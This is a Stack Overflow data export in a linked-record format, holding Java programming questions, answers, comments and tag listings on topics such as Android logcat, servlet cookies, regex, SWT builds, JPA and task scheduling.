has text: Newer versions of EclipseLink fixes the problem. But still found this useful when i wanted to deploy a fully functioning application on my dev machine, to AWS Elastic Beanstalk (that uses the old version) and bumped into this problem. Thanks!
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/23603212

http://stackoverflow.com/q/22314913
has comment: http://stackoverflow.com/comment/33909317
has body: Android freezes right when it is supposed to crash and the app becomes completely nonresponsive. The Eclipse Logcat doesn't show any errors or print the stack trace, though it does show system and warning outputs. I tested other apps and they crash and print their stack trace in the logcat. This happens in multiple different places in the app where it should crash. The debugger attaches successfully. I am using async tasks for networking and backend work but the errors that cause crashing happen on the main thread. Update1 The app crashes properly and logcat prints a stack trace when running on an emulator. Resetting ADB from console does not solve problem, though it does recognize that adb is attached to the device. Unchecking and then re-checking "Android debugging" does not solve problem. I'm guessing the problem lies with the phone? Update2 Factory resetting the phone didn't solve it. Update3 I tested on another Android phone, a Galaxy S4, and it crashed and printed a stack trace properly. The problem device is a HTC ADR6300VW running Gingerbread (API 10).
favorite count: 0
has comment: http://stackoverflow.com/comment/33955399
type: UnansweredQuestion
tagged with: android
has comment: http://stackoverflow.com/comment/33962201
downvote count: 0
answer count: 0
has title: Android Phone (HTC ADR6300VW) freezes but doesn't crash, logcat doesn't print stack trace
score: 1
tagged with: java
tagged with: eclipse
type: Question
has comment: http://stackoverflow.com/comment/33909304
upvote count: 1

opennlp
type: Tag
tag name: opennlp
tags question: http://stackoverflow.com/q/22294640

http://stackoverflow.com/comment/33787476
has text: like this textView.setId(1);
type: AnswerComment
comment on: http://stackoverflow.com/a/22247307
type: Comment
score: 1

http://stackoverflow.com/comment/33856313
type: Comment
type: QuestionComment
has text: I appreciate all the comments none the less. I was on the wrong track with that being the issue anyways as I simple forgot to store the arguments that are given to the constructor in the instance fields. So the instance fields always have their default values (0).
score: 0
comment on: http://stackoverflow.com/q/22285436

http://stackoverflow.com/comment/33780188
comment on: http://stackoverflow.com/a/22226504
score: 0
type: Comment
type: AnswerComment
has text: you should goto refer that link

http://stackoverflow.com/a/22178765
has comment: http://stackoverflow.com/comment/33663244
type: Answer
has comment: http://stackoverflow.com/comment/33663282
answers question: http://stackoverflow.com/q/22178688
score: 1
has body: No, there is no difference at all in its working. But, you can have multiple else if blocks consecutively, but not multiple else blocks consecutively with if inside it
upvote count: 1
downvote count: 0

http://stackoverflow.com/q/22190631
type: Question
tagged with: servlets
score: 0
has body: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html"); //setting the MIME of this page PrintWriter out = response.getWriter(); //creating a writer object String sourceCookieName = "Username"; String sourceCookieName2 = "Password"; Cookie targetCookie = null; Cookie targetCookie2 = null; Cookie[] allCookies = request.getCookies(); if (allCookies!=null) { for (Cookie cookie : allCookies) { if (cookie.getName().equals(sourceCookieName)) { targetCookie = cookie; //break; } if (cookie.getName().equals(sourceCookieName2)) { targetCookie2 = cookie; //break; } } } if (targetCookie != null && targetCookie2 != null) { //somecode } else { out.print(" You will be redirected in 5 second(s). "); out.print(" "); //response.sendRedirect("index.html"); return; } I have this servlet that will redirect to index.html when the cookies is are deleted. My problem is that when I delete the cookies, it does not redirect to index.html automatically I need to reload/refresh the page first before it redirect. How I will make it to redirect automatically upon deletion of cookies?
answer count: 1
has title: Redirect when cookies are deleted
type: UnansweredQuestion
tagged with: http-redirect
has answer: http://stackoverflow.com/a/22190882
tagged with: cookies
tagged with: java

installation
tags question: http://stackoverflow.com/q/22180954
tags question: http://stackoverflow.com/q/22296241
tag name: installation
type: Tag

http://stackoverflow.com/a/22217230
upvote count: 4
downvote count: 0
has body: try something like this String splitString = "122$23$56$rt"; for(int i=0;i&lt;splitString.split("\\$").length;i++){ System.out.println("I GOT IS :: "+splitString.split("$")[i]); } NOTE: split() uses a regular expression. Your regular expression uses a special character ie $ $ is the regular expression for "end of line".
type: Answer
answers question: http://stackoverflow.com/q/22217176
score: 4

http://stackoverflow.com/comment/33815667
type: AnswerComment
has text: This works beautifully. Thank you. For some reason, I was under the impression that multiple InputStreams was bad practice, but in this case, it's very simple. Now to get it to download correctly to the client.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22260481

http://stackoverflow.com/comment/33771460
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22238487
has text: What's wrong with `(int)(Math.random()*9000)+1000;` ?

http://stackoverflow.com/comment/33785166
has text: [Reflection](http://docs.oracle.com/javase/7/docs/api/java/lang/reflect/package-summary.html)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22246205
score: 1

http://stackoverflow.com/comment/33874071
comment on: http://stackoverflow.com/a/22281340
score: 0
type: AnswerComment
has text: You should at least accept one answer and maybe upvote the one that helped figuring out the problem, thanks.
type: Comment

http://stackoverflow.com/a/22279703
has comment: http://stackoverflow.com/comment/33868457
score: 2
accepted answer of: http://stackoverflow.com/q/22278988
answers question: http://stackoverflow.com/q/22278988
has body: I fixed it. public class Rectangles { private final double x; private final double y; private final double width; private final double height; public Rectangles(double x0, double y0, double w, double h) { x = x0; y = y0; width = w; height = h; } public double area() { return width * height; } public double perimeter() { return 2*width + 2*height; } public boolean intersects(Rectangles b) { boolean leftof = ((b.x + (0.5*b.width))&lt;(x-(0.5*width))); boolean rightof = ((b.x-(0.5*b.width))&gt;(x+(0.5*width))); boolean above = ((b.y-(0.5*b.height))&gt;(y+(0.5*height))); boolean below = ((b.y+(0.5*b.height))&lt;(y-(0.5*height))); if (leftof==true || rightof==true || above==true || below==true) return false; else return true; } public void show() { double j = Math.max((x+(0.5*height)), (y+(0.5*height))); StdDraw.setYscale((0),j+1); StdDraw.setXscale((0),j+1); StdDraw.setPenColor(); StdDraw.rectangle(x,y,.5*width,.5*height); } public static void main(String[] args) { Rectangles a = new Rectangles(Double.parseDouble(args[0]), Double.parseDouble(args[1]), Double.parseDouble(args[2]), Double.parseDouble(args[3])); Rectangles b = new Rectangles(2,2,2,2); System.out.println(a.area()); System.out.println(a.perimeter()); System.out.println(a.intersects(b)); a.show(); } }
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33868539
has comment: http://stackoverflow.com/comment/33868433
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/33845864

http://stackoverflow.com/q/22176253
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33659029
tagged with: java
has body: I have a html code below, and with java i need to extract the numbers "25.12" as well as 8, 15, 17 etc. to store them inside array. Cant figure the proper regEx syntax. 25.12 8 15 17 18 20
tagged with: match
has answer: http://stackoverflow.com/a/22176347
has answer: http://stackoverflow.com/a/29473337
type: Question
has title: extracting numbers from string using regex
upvote count: 2
answer count: 3
tagged with: string
favorite count: 0
has answer: http://stackoverflow.com/a/32020641
tagged with: regex
score: 2

http://stackoverflow.com/a/22292839
accepted answer of: http://stackoverflow.com/q/22244119
type: AcceptedAnswer
downvote count: 0
has body: Finally i got my answer: to add jar file into build war file, we need to add the jar path into BildPath->Configure Build Path -> Deplyment Assembly This help to add the jar file into final war file.
answers question: http://stackoverflow.com/q/22244119
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/comment/33684679
type: QuestionComment
has text: Try increasing your Heap space using the -Xms and -Xmx jvm parameters. Take a look at [this](http://stackoverflow.com/questions/14763079/what-are-the-xms-and-xmx-parameters-when-starting-jvms) question.
comment on: http://stackoverflow.com/q/22190591
score: 1
type: Comment

http://stackoverflow.com/a/22267026
has comment: http://stackoverflow.com/comment/33825703
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33834188
answers question: http://stackoverflow.com/q/22266942
upvote count: 1
has body: because in second case you don't have live references for all Object[]
type: Answer

http://stackoverflow.com/comment/33867172
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/22291183
has text: Won't this logic throw ConcurrentModificationException since you are modifying and removing from list at the same time?

http://stackoverflow.com/comment/33773472
comment on: http://stackoverflow.com/a/22239459
has text: sorry, can you elaborate on reinitialize the iterator? I am very new to java
type: AnswerComment
score: 0
type: Comment

storage
tag name: storage
tags question: http://stackoverflow.com/q/22314768
type: Tag

http://stackoverflow.com/a/22216996
upvote count: 1
has comment: http://stackoverflow.com/comment/33783167
answers question: http://stackoverflow.com/q/22216291
has comment: http://stackoverflow.com/comment/33734237
has comment: http://stackoverflow.com/comment/33918080
score: 1
has comment: http://stackoverflow.com/comment/33869398
has body: Yes, java can work with sockets. For example, an "official" tutorial from Oracle: http://docs.oracle.com/javase/tutorial/networking/sockets/ But working with sockets directly requires a lot of code for encoding/decoding message from/to a binary form, separating data stream to logical "packets", handling threads and message queues, etc. Fortunately, there are network libraries which make this process much more easier. I would recommend Netty: http://netty.io/ About client/server relationships. If we are talking about TCP/IP, then yes. One side (server) always listens for connection, and the other side (client) opens a connection to the server. If you are using UDP, however, from network point of view, all participants are equal. They just send and receive UDP packets. Back to your chat application: the most simple solution - all clients connect to the dedicated server. Every chat message contains client id. When the server receives the message, it sends it to the client with the specified id. Thus, every client can transfer message to every other client. The server works as a "dispatcher".
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/33913876

http://stackoverflow.com/a/22205923
has body: Solution without loop ;-) count = string.replaceAll("[^.]","").length(); This makes your program pretty short: public static void main(String[] args) { String string = JOptionPane.showInputDialog("Give me dots and i will count them : "); int count = string.replaceAll("[^.]","").length(); System.out.println("There are "+ count + " dots in this string: " + string); }
type: Answer
score: 0
answers question: http://stackoverflow.com/q/22205748
has comment: http://stackoverflow.com/comment/33713589

http://stackoverflow.com/q/22173659
has comment: http://stackoverflow.com/comment/33700064
type: UnansweredQuestion
tagged with: gwt
answer count: 0
tagged with: java
tagged with: gxt
type: Question
has title: GXT menu aligning improperly
has comment: http://stackoverflow.com/comment/33699988
tagged with: javascript
tagged with: alignment
has body: I have a strange aligning problem with my GXT Menu (com.extjs.gxt.ui.client.widget.menu). It does horizontally align properly to MenuBarItem (also com.extjs.gxt.ui.client.widget.menu) only when the scorllbar is visible. You can see both cases visualized on the images below (Chrome 33): The aligning is invoked in the expand event of my custom class MenuBarImpl extending MenuBar public class MenuBarImpl extends MenuBar implements IMenuBarImpl { (...) @Override protected void expand(MenuBarItem menuBarItem, boolean selectFirst) { MenuBarItemImpl item = (MenuBarItemImpl) menuBarItem; (...) item.getMenu().show(item.getElement(), "tl-bl?", new int[] {1, 0}); (...) } (...) } While debugging I found that the problem seems to be JavaScript function getAbsoluteLeft()(com.google.gwt.dom.client.DomImpl). To my surprise it returns the same left coordinate for both scenarios: when there is a scrollbar visible and when there isn't. Looking at it's short body (see below), it builds the value on 2 DOM properies offsetLeft and offsetParent. And so I checked values of these properies for both cases using Chrome Developer Tools. The values were alright - they should produce different results for both invokes of getAbsoluteLeft() function. public native int getAbsoluteLeft(Element elem) { var left = 0; var curr = elem; // This intentionally excludes body which has a null offsetParent. while (curr.offsetParent) { left -= curr.scrollLeft; curr = curr.parentNode; } while (elem) { left += elem.offsetLeft; elem = elem.offsetParent; } return left; } I'm confused especially that the result is right, when the scrollbar is visible and not when it isn't. Anybody knows any way to fix it?
score: 0
has comment: http://stackoverflow.com/comment/33667534

http://stackoverflow.com/a/22274462
accepted answer of: http://stackoverflow.com/q/22250338
answers question: http://stackoverflow.com/q/22250338
has body: You could possibly count fields in a object with reflection. Simple example: private int totalobjectcount = 0; private void count(Object o) { countFields(o); System.out.println("total object count " + totalobjectcount); } private void countFields(Object o) { totalobjectcount++; Class&lt;? extends Object&gt; c1 = o.getClass(); countFields(o, c1); } private void countFields(Object o, Class&lt;? extends Object&gt; c1) { Field[] fields = c1.getDeclaredFields(); for (Field field : fields) { Object oo; field.setAccessible(true); oo = field.get(o); countFields(oo); } countFields(o, c1.getSuperclass()); }
score: 0
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/33912529
comment on: http://stackoverflow.com/q/22316708
score: 0
type: Comment
type: QuestionComment
has text: how will I get the count of each classlabel?

http://stackoverflow.com/a/22316824
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/33913405
score: 5
has comment: http://stackoverflow.com/comment/33912503
has body: Don't use multiple JFrames. An application should only have a single JFrame. For secondary windows you should use a modal JDialog. A modal JDialog will not allow you to click on the parent JFrema until the dialog is closed.
answers question: http://stackoverflow.com/q/22316792
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22316792
upvote count: 5
has comment: http://stackoverflow.com/comment/33912291

http://stackoverflow.com/q/22303755
downvote count: 0
has comment: http://stackoverflow.com/comment/33889364
tagged with: java
linked to: http://stackoverflow.com/q/2037220
tagged with: eclipse
has comment: http://stackoverflow.com/comment/33889054
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/33889758
has comment: http://stackoverflow.com/comment/34165391
tagged with: jar
has answer: http://stackoverflow.com/a/22360758
has comment: http://stackoverflow.com/comment/33893044
has comment: http://stackoverflow.com/comment/33920050
answer count: 1
has title: Build multi-platform executable for a SWT application (Eclipse)
linked to: http://stackoverflow.com/q/2706222
favorite count: 0
has comment: http://stackoverflow.com/comment/33902405
tagged with: multiplatform
has comment: http://stackoverflow.com/comment/33890041
linked to: http://stackoverflow.com/q/21285598
type: UnansweredQuestion
tagged with: swt
has comment: http://stackoverflow.com/comment/33899719
has comment: http://stackoverflow.com/comment/33889905
score: 2
has body: I have an Eclipse-based SWT application, not using Maven. My application targets multiple operating systems (CentOS, Windows, and Mac). The only jar file that is not OS agnostic is the SWT library, which is specific to each OS type, not to mention processor type (x86 and/or x64). I saw this other issue, but that targets Maven and I am not using Maven. I have "org.eclipse.swt" added to my project by following an outlined procedure and including the entire SWT downloaded ZIP file. That specifies a second project in Package Explorer. Earlier when I was just including swt.jar, it was a bit easier, as I just had to delete the jar, include the new one, and rebuild, but that was a a pain. Now that I use the entire SWT ZIP, the process is a bit tedious and not professional. What are the steps, so that when I specify "right click > Java > Runnable JAR file" to create a single executable jar that I get 3 (or however many) different jar files, one per operating system? Visual Studio does that nicely, just I do not know how to do that here in Eclipse. UPDATE: To answer a comment, I wanted to add JFace support, as I want to use the TableViewer feature, which requires JFace. Eclipse has this page outlining in the first part how to add in SWT. The steps work except for adding the source code at the end, but that is off-topic. I followed the steps for 64-bit Windows, however I have to support CENTOS and Mac would be a "would be nice" at the moment. Independent of swt.jar verses org.eclipse.swt, I would like a clean way (think Visual Studio with .Net) to build a single runnable/executable jar file for my application, one per supported OS type. My thought is that I specify build (whatever menu key sequence after I set things up) and I get one single executable jar file per target OS.

http://stackoverflow.com/q/22182376
tagged with: arrays
has answer: http://stackoverflow.com/a/22182438
has answer: http://stackoverflow.com/a/22182487
has answer: http://stackoverflow.com/a/22182490
has answer: http://stackoverflow.com/a/22182502
score: 0
has comment: http://stackoverflow.com/comment/33670188
has title: Which type of array should I use
answer count: 5
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22182452
has comment: http://stackoverflow.com/comment/33670000
tagged with: java
has body: I want to create an array with a list of players and which arena they are in. I don't know which type of array would be best suited. It will hold information like this: PlayerName : Arena John : Arena1 Harry : Arena1 Dave : Arena2 Will : Arena2 You're help is much appreciated, I am new to Java and can't see this listed on the site, if it is please point me in that direction :)
type: Question

http://stackoverflow.com/comment/33741390
type: Comment
comment on: http://stackoverflow.com/a/22222484
score: 0
has text: Hi Dukeling, thanks for the help. The output is still incorrect though. It outputs...2 1 3 5 9 6 7 4 8 now.
type: AnswerComment

http://stackoverflow.com/comment/33763044
comment on: http://stackoverflow.com/a/22233384
score: 1
type: AnswerComment
type: Comment
has text: @rapt Upgrade, the method definitions you see are from 1.9+. Previously, the return type was `Object`.

http://stackoverflow.com/comment/33859151
type: QuestionComment
has text: Whut? Can you please rephrase your question. What is it you're trying to accomplish?
comment on: http://stackoverflow.com/q/22285648
score: 0
type: Comment

http://stackoverflow.com/a/22278703
answers question: http://stackoverflow.com/q/22278661
has comment: http://stackoverflow.com/comment/33844603
type: Answer
has comment: http://stackoverflow.com/comment/33845855
has comment: http://stackoverflow.com/comment/33845277
score: 0
has body: The problem is that the call you are doing inside the doInBackground is also an asynchronous call, you need to realize that by the time the execution thread reaches the end of doInBackground and returns an object, the onPostExecute will be called, so basically the problem in your case is that since your call is also asynchronous, its not blocking the thread and it moves inmediately to the end of the doInBackground method and the "callback" you receive from that call is executed way later than the whole asynctask did it's job, so, that said there's different ways to approach the issue. 1.- You could force the worker thread in doInBackground to wait for your callback to be executed(this requires a perfect understanding of java threads and the wait/notify methods) 2.- A simple approach would be, not to rely on onPostExecute method, and in stead send a Broadcast Receiver message from the callback method of your call, which will be handled in your activity whenever is done.. Regards!
has comment: http://stackoverflow.com/comment/33844133

http://stackoverflow.com/comment/33712995
type: QuestionComment
has text: Yeah, you need to give the full, correct package name in the HBM file. Hibernate doesn't like simplicity.
comment on: http://stackoverflow.com/q/22205876
score: 0
type: Comment

http://stackoverflow.com/q/22320920
downvote count: 0
tagged with: java
tagged with: timertask
has answer: http://stackoverflow.com/a/22320977
has answer: http://stackoverflow.com/a/22323051
type: Question
has answer: http://stackoverflow.com/a/22321068
has title: Scheduling a task in java
has answer: http://stackoverflow.com/a/75469648
upvote count: 3
tagged with: scheduled-tasks
favorite count: 0
answer count: 5
type: UnansweredQuestion
has body: In my java web application, I want to schedule a task. I have searched the web alot and couldn't find a suitable scheduler for my case. In the application I have different types of users. For a specific user type, I want to schedule a task. By the time a critical action is taken by a user: I want to send an email to that specific user and after 15 minutes I want to send another email and after 30 minutes I want to send another email and shut down the scheduler. I know when the users take critical actions and how to send email but I don't have much experience about scheduling. Can anyone help me for the case?
has answer: http://stackoverflow.com/a/22321028
has comment: http://stackoverflow.com/comment/33919219
score: 3

http://stackoverflow.com/comment/33698784
comment on: http://stackoverflow.com/q/22198818
score: 0
has text: Does `moderatoren` contain unique entries?
type: QuestionComment
type: Comment

http://stackoverflow.com/a/22257260
accepted answer of: http://stackoverflow.com/q/22257235
score: 2
upvote count: 2
has body: You pass your variable as "PinString": i.putExtra("PINString", PINString);//transfer string So, instead of this: PINString = bundle.getString("SMSDemo.PINString"); Use PINString = bundle.getString("PINString");
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22257235
type: Answer

http://stackoverflow.com/q/22298575
tagged with: httprequest
tagged with: browser
answer count: 1
downvote count: 0
tagged with: url
has answer: http://stackoverflow.com/a/22299628
favorite count: 0
has body: I am working on a JAVA application to monitor the URLs requested from any browser on the PC . I need your help in how to monitor the HTTP request especially the URL transmitted by any browser ( Firefox , chrome or internet explorer ). Thanks Guys
has comment: http://stackoverflow.com/comment/33879351
tagged with: monitor
type: UnansweredQuestion
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33879511
upvote count: 1
type: Question
has title: how to monitor the web traffic from any browser in a PC using a Java App

http://stackoverflow.com/comment/33791945
type: QuestionComment
has text: post the stacktrace and topic class
score: 2
comment on: http://stackoverflow.com/q/22250347
type: Comment

http://stackoverflow.com/comment/33843883
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22278192
has text: Just as a side note, @Programmingcat, since you're already getting the Button's text in the String text, you should use this for your equals() instead of calling the getText() method repeatedly.

http://stackoverflow.com/q/22211038
tagged with: maven
has body: I have an application using Spring-3.2.X and cxf-2.7.5 I'm importing cxf into my spring's app context like so: <import resource="classpath:META-INF/cxf/cxf.xml" /> <import resource="classpath:cxf.xml" /> However, When I run the tests I end up with the following exception: java.lang.IllegalStateException: Failed to load ApplicationContext at org.springframework.test.context.CacheAwareContextLoaderDelegate.loadContext(CacheAwareContextLoaderDelegate.java:99) at org.springframework.test.context.TestContext.getApplicationContext(TestContext.java:122) at org.springframework.test.context.web.ServletTestExecutionListener.setUpRequestContextIfNecessary(ServletTestExecutionListener.java:154) at org.springframework.test.context.web.ServletTestExecutionListener.prepareTestInstance(ServletTestExecutionListener.java:100) at org.springframework.test.context.TestContextManager.prepareTestInstance(TestContextManager.java:312) at org.springframework.test.context.junit4.SpringJUnit4ClassRunner.createTest(SpringJUnit4ClassRunner.java:211) at org.springframework.test.context.junit4.SpringJUnit4ClassRunner$1.runReflectiveCall(SpringJUnit4ClassRunner.java:288) at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) at org.springframework.test.context.junit4.SpringJUnit4ClassRunner.methodBlock(SpringJUnit4ClassRunner.java:284) at org.springframework.test.context.junit4.SpringJUnit4ClassRunner.runChild(SpringJUnit4ClassRunner.java:231) at org.springframework.test.context.junit4.SpringJUnit4ClassRunner.runChild(SpringJUnit4ClassRunner.java:88) at org.junit.runners.ParentRunner$3.run(ParentRunner.java:238) at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:63) at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:236) at org.junit.runners.ParentRunner.access$000(ParentRunner.java:53) at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:229) at org.springframework.test.context.junit4.statements.RunBeforeTestClassCallbacks.evaluate…
accepted answer: http://stackoverflow.com/a/22234727
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22211619
score: 3
has comment: http://stackoverflow.com/comment/33721992
tagged with: java
has answer: http://stackoverflow.com/a/22234727
type: Question
answer count: 2
downvote count: 0
favorite count: 0
upvote count: 3
possible better answer: http://stackoverflow.com/a/22211619
tagged with: spring
has title: CXF failing with IncompatibleClassChangeError exception on Unit Test
tagged with: cxf
linked to: http://stackoverflow.com/q/1980452

http://stackoverflow.com/comment/33813999
has text: Edit: I've just run it from the command line using java version 1.7.0_03. Again, no problem.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22261579

http://stackoverflow.com/comment/33772837
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22220936
has text: So why, for example, I have 1,257,084 instance of the above class, and it consumes 40,226,688 bytes of memory, which means each instance occupies 32 bytes - 2 machine words for the header (2 * 8 bytes), and 2 reference pointer (2 * 8 bytes)?
score: 0

http://stackoverflow.com/a/22198691
answers question: http://stackoverflow.com/q/22198611
type: Answer
has body: Go to Build Path -> Configure Build Path -> Order and Export, and select the referenced project.
score: 0

http://stackoverflow.com/a/22348733
downvote count: 0
upvote count: 2
has body: There might be a mistake with the jar path. If you want to load class foo.bar.Clazz, you should be able to find file foo/bar/Clazz.class in the fat jar file. I can use your approach above to load any class from a fat jar created with sbt-assembly without problem. Try using the absolute file path. Verify that new File(jarName).isFile returns true. The URLClassLoader requires that the classes are directly accessible inside the jar. Nested jars are not supported.
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/22264494
answers question: http://stackoverflow.com/q/22264494
type: AcceptedAnswer

http://stackoverflow.com/comment/42218893
type: Comment
type: QuestionComment
has text: Nobody answered your question. I'm having the same issue with getText(). It just returns an empty string "".
comment on: http://stackoverflow.com/q/22265283
score: 0

http://stackoverflow.com/q/22273856
favorite count: 0
tagged with: class
has title: creating new Instance of scala object in java
has body: I'm trying to create a system that will load a class extending Mod when it is written in scala OR java. I have the class object and I check if the class is written in scala by checking if the class has the @ScalaMod annotation. And I handle the different language by a Language adapter I wrote. But I keep getting this error. java.lang.reflect.InvocationTargetException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.6.0_65] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39) ~[?:1.6.0_65] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25) ~[?:1.6.0_65] at java.lang.reflect.Method.invoke(Method.java:597) ~[?:1.6.0_65] at net.minecraft.launchwrapper.Launch.launch(Launch.java:134) [launchwrapper-1.9.jar:?] at net.minecraft.launchwrapper.Launch.main(Launch.java:28) [launchwrapper-1.9.jar:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.6.0_65] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39) ~[?:1.6.0_65] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25) ~[?:1.6.0_65] at java.lang.reflect.Method.invoke(Method.java:597) ~[?:1.6.0_65] at com.intellij.rt.execution.application.AppMain.main(AppMain.java:120) [idea_rt.jar:?] Caused by: java.lang.ExceptionInInitializerError at java.lang.Class.forName0(Native Method) ~[?:1.6.0_65] at java.lang.Class.forName(Class.java:249) ~[?:1.6.0_65] at net.acomputerdog.BlazeLoader.mod.language.IModLanguage$ScalaModLanguage.newInstance(IModLanguage.java:10) ~[IModLanguage$ScalaModLanguage.class:?] at net.acomputerdog.BlazeLoader.mod.ModList.load(ModList.java:62) ~[ModList.class:?] at net.acomputerdog.BlazeLoader.main.BlazeLoader.init(BlazeLoader.java:96) ~[BlazeLoader.class:?] at net.minecraft.client.Minecraft.run(Minecraft.java:781) ~[Minecraft.class:?] at net.minecraft.client.main.Main.main(Main.java:94) ~[Main.class:?] ... 11 more this is the Language Adapter cl…
answer count: 0
downvote count: 0
tagged with: scala-java-interop
tagged with: scala
type: UnansweredQuestion
score: 2
has comment: http://stackoverflow.com/comment/34621122
tagged with: reflection
tagged with: java
type: Question
upvote count: 2

http://stackoverflow.com/comment/34002973
score: 0
type: AnswerComment
type: Comment
has text: You are correct. Reusability is independent of programming languages. Reusability depends on how you structure your code whether it be C, C++, LISP, etc.
comment on: http://stackoverflow.com/a/22317165

http://stackoverflow.com/q/22238655
type: Question
has title: JPA just delete in the second click
score: -1
has answer: http://stackoverflow.com/a/22239178
answer count: 1
downvote count: 1
tagged with: java
type: UnansweredQuestion
upvote count: 0
tagged with: jpa
has body: My JPA is deleting the first result(when refresh browser) just in the second click, for example i open the listing page now, and in the last column there is a command link to delete: &lt;h:form&gt; &lt;p:dataTable blah blah blah&gt; other columns... &lt;p:column&gt; &lt;p:commandLink action="#{automovelBean.excluir(auto)}" value="Deletar" update=""&gt;&lt;/p:commandLink&gt; &lt;/p:column&gt; &lt;/p:dataTable&gt; &lt;/h:form&gt; now my bean to delete: em.getTransaction().begin(); automovel = em.getReference(Automovel.class, automovel.getId()); em.remove(automovel); em.getTransaction().commit(); em.close(); if i click in the "excluir"(delete), nothing happens in the datable, if i click in the second row it update the datable and show that the first record was deleted and the second too, no problem in this, the problem is: if someone click in the delete of the first item and see that the datable is not updating and not removing the result in the listing, people will probably click again in the same delete button and so it will delete the second result too, but the user do not see this and if you click a lot of times it will delete all the results =( my first try was to add the update="dataTableId" in the commandLink, but it is not working =/ sorry bad english
favorite count: 0

http://stackoverflow.com/comment/33750274
comment on: http://stackoverflow.com/a/22227590
score: 2
type: AnswerComment
has text: This needs rewording Java does support optional parameters in the form of var-args, but each method can only have 1 var-arg parameter and it must be the last in the list of parameters.
type: Comment

http://stackoverflow.com/comment/33730974
score: 0
type: Comment
type: QuestionComment
has text: There are no errors in the code. The only thing is i think i'm executing it wrong. I'm getting 404 page not found error.
comment on: http://stackoverflow.com/q/22214828

concurrency
tags question: http://stackoverflow.com/q/22288909
tag name: concurrency
tags question: http://stackoverflow.com/q/22248824
tags question: http://stackoverflow.com/q/22242584
tags question: http://stackoverflow.com/q/22309478
tags question: http://stackoverflow.com/q/22178874
tags question: http://stackoverflow.com/q/22236928
tags question: http://stackoverflow.com/q/22230255
tags question: http://stackoverflow.com/q/22173072
tags question: http://stackoverflow.com/q/22211142
tags question: http://stackoverflow.com/q/22221545
tags question: http://stackoverflow.com/q/22205155
tags question: http://stackoverflow.com/q/22254825
tags question: http://stackoverflow.com/q/22265102
tags question: http://stackoverflow.com/q/22268894
tags question: http://stackoverflow.com/q/22213889
tags question: http://stackoverflow.com/q/22266724
tags question: http://stackoverflow.com/q/22282267
tags question: http://stackoverflow.com/q/22301397
tags question: http://stackoverflow.com/q/22197083
tags question: http://stackoverflow.com/q/22191369
tags question: http://stackoverflow.com/q/22224237
tags question: http://stackoverflow.com/q/22275916
type: Tag
tags question: http://stackoverflow.com/q/22288797
tags question: http://stackoverflow.com/q/22313552
tags question: http://stackoverflow.com/q/22321404
tags question: http://stackoverflow.com/q/22183354
tags question: http://stackoverflow.com/q/22213132
tags question: http://stackoverflow.com/q/22279993
tags question: http://stackoverflow.com/q/22222768
tags question: http://stackoverflow.com/q/22306637
tags question: http://stackoverflow.com/q/22291075

http://stackoverflow.com/q/22253703
has comment: http://stackoverflow.com/comment/33798474
upvote count: 1
downvote count: 1
tagged with: arrays
has title: Null Pointer Exception when trying to add new object to array?
favorite count: 0
tagged with: nullpointerexception
has body: I have an array, moviearray, with logical size of 15 and physical size of 50. I have the following code: for(int a=0;a&lt;moviearray.length;a++) { if (moviearray[a]!=null) { if(moviearray[a].getTitle()==catAddTitle.getText()) { moviearray[a].addExisting(Integer.parseInt(catAddNumber.getText())); break; } } else { moviearray[a].setTitle(catAddTitle.getText()); moviearray[a].setNumber(Integer.parseInt(catAddNumber.getText())); moviearray[a].setGenre(catAddGenre.getText()); moviearray[a].setYear(Integer.parseInt(catAddYear.getText())); moviearray[a].setRating(catAddRating.getSelectedItem()); moviearray[a].setPrice(Double.parseDouble(catAddPrice.getText())); break; } } I am trying to have it so where when I enter a movie title into catAddTitle (text field), and it matches a movie currently in moviearray, it will increase the movie's amount element by the number entered in the textfield catAddNumber. However, when I try doing this, it gives me a nullpointerexception on the line: moviearray[a].setTitle(catAddTitle.getText()); Example: one of my objects in the array has the elements "Hobbit/55/Adventure/2012/PG-13/10.00" (title, number, genre, year, rating, price). What should happen is that when I enter "Hobbit" into catAddTitle and "3" into catAddNumber, it should change the number to "58" (despite the other textfield data). Thanks in Advance
possible better answer: http://stackoverflow.com/a/22253772
has answer: http://stackoverflow.com/a/22253772
type: AnsweredQuestion
tagged with: java
type: Question
tagged with: object
has answer: http://stackoverflow.com/a/22253756
accepted answer: http://stackoverflow.com/a/22253756
score: 0
answer count: 2
